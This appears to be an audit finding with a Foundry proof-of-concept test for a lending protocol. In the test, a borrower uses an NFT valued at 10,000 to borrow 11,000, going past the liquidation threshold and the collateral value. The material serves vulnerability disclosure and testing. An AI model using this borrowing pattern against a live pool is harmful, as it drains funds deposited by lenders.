This will allow users to borrow more than their collateral should support (crossing over liquidation threshold and their collateral value).
Users can drain the lending pool by borrowing more than their collateral value.
pragma solidity ^0.8.19;
import "../../contracts/core/pools/LendingPool/LendingPool.sol";
import "../../contracts/libraries/pools/ReserveLibrary.sol";
import "../../lib/forge-std/src/Test.sol";
import "../../lib/forge-std/src/console.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../contracts/core/tokens/DebtToken.sol";
import "../../contracts/core/tokens/RToken.sol";
import "../../contracts/core/tokens/RAACNFT.sol";
import "../../contracts/core/primitives/RAACHousePrices.sol";
import "../../contracts/libraries/math/WadRayMath.sol";
import "../../contracts/libraries/math/PercentageMath.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function balanceOf(address account) public view override returns (uint256) {
return super.balanceOf(account);
}
}
contract ReserveLibraryTest is Test {
using WadRayMath for uint256;
using PercentageMath for uint256;
address owner;
address user;
LendingPool lendingPool;
MockERC20 reserveAsset;
RToken rToken;
DebtToken debtToken;
RAACNFT raacNFt;
address priceOracle;
RAACHousePrices housePrices;
ReserveLibrary.ReserveData reserve;
ReserveLibrary.ReserveRateData rateData;
function setUp() public {
owner = makeAddr("owner");
initializeContracts(owner);
configureContracts(owner);
user = makeAddr("user");
}
function initializeContracts(address _owner) internal {
reserveAsset = new MockERC20("reserveMock", "mkTkn");
rToken = new RToken("rMock", "mkTkn", _owner, address(reserveAsset));
debtToken = new DebtToken("debtMock", "mkTkn", _owner);
priceOracle = makeAddr("priceOracle");
housePrices = new RAACHousePrices(_owner);
raacNFt = new RAACNFT(
address(reserveAsset),
address(housePrices),
_owner
);
lendingPool = new LendingPool(
address(reserveAsset),
address(rToken),
address(debtToken),
address(raacNFt),
address(housePrices),
1e26
);
}
function configureContracts(address _owner) internal {
vm.startPrank(_owner);
housePrices.setOracle(priceOracle);
debtToken.setReservePool(address(lendingPool));
rToken.setReservePool(address(lendingPool));
vm.stopPrank();
vm.prank(priceOracle);
housePrices.setHousePrice(1, 10_000);
}
function updateReserveStates() public {
(
address reserveRTokenAddress,
address reserveAssetAddress,
address reserveDebtTokenAddress,
uint256 totalLiquidity,
uint256 totalUsage,
uint128 liquidityIndex,
uint128 usageIndex,
uint40 lastUpdateTimestamp
) = lendingPool.reserve();
reserve = ReserveLibrary.ReserveData(
reserveRTokenAddress,
reserveAssetAddress,
reserveDebtTokenAddress,
totalLiquidity,
totalUsage,
liquidityIndex,
usageIndex,
lastUpdateTimestamp
);
(
uint256 currentLiquidityRate,
uint256 currentUsageRate,
uint256 primeRate,
uint256 baseRate,
uint256 optimalRate,
uint256 maxRate,
uint256 optimalUtilizationRate,
uint256 protocolFeeRate
) = lendingPool.rateData();
rateData = ReserveLibrary.ReserveRateData(
currentLiquidityRate,
currentUsageRate,
primeRate,
baseRate,
optimalRate,
maxRate,
optimalUtilizationRate,
protocolFeeRate
);
}
function testUserCanBorrowAboveLiquidationThreshold() public {
address borrower = makeAddr("borrower");
reserveAsset.mint(user, 20_000);
reserveAsset.mint(borrower, 10_000);
vm.startPrank(user);
deposit(20_000);
vm.stopPrank();
vm.startPrank(borrower);
mintNFT();
depositNFT();
lendingPool.borrow(11_000);
vm.stopPrank();
updateReserveStates();
ReserveLibrary.updateReserveInterests(reserve, rateData);
uint256 borrowerCollateralValue = lendingPool.getUserCollateralValue(borrower);
(uint256 scaledDebtBalance,,) = lendingPool.userData(borrower);
uint256 borrowerTotalDebt = scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 liquidationThresholdAmount = borrowerCollateralValue.percentMul(lendingPool.liquidationThreshold());
console.log("borrower collateral value: %d", borrowerCollateralValue);
console.log("borrower liquidation threshold amount: %d", liquidationThresholdAmount);
console.log("borrower debt: %d", debtToken.scaledBalanceOf(borrower));
assert(debtToken.scaledBalanceOf(borrower) > liquidationThresholdAmount);
}
function mintNFT() internal {
reserveAsset.approve(address(raacNFt), 10_000);
raacNFt.mint(1, 10_000);
}
function depositNFT() internal {
raacNFt.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
}
function deposit(uint256 amount) internal {
reserveAsset.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
}
}